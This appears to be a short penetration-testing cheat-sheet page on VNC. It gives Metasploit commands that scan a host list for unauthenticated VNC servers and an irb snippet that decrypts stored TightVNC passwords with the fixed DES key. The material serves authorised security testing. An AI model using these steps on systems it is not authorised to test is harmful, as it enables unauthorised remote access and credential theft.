> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/vnc.md).

# VNC

Enum with MSF:

```
msf > use auxiliary/scanner/vnc/vnc_none_auth
msf > set RHOSTS file:vnc.txt
msf > set THREADS 25
msf > run
```

## TightVNC

* <https://github.com/frizb/PasswordDecrypts>

Decrypt TightVNC password with MSF:

```
msf > irb
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["f0f0f0f0f0f0f0f0"].pack('H*'), fixedkey
=> "<DECRYPTED>"
```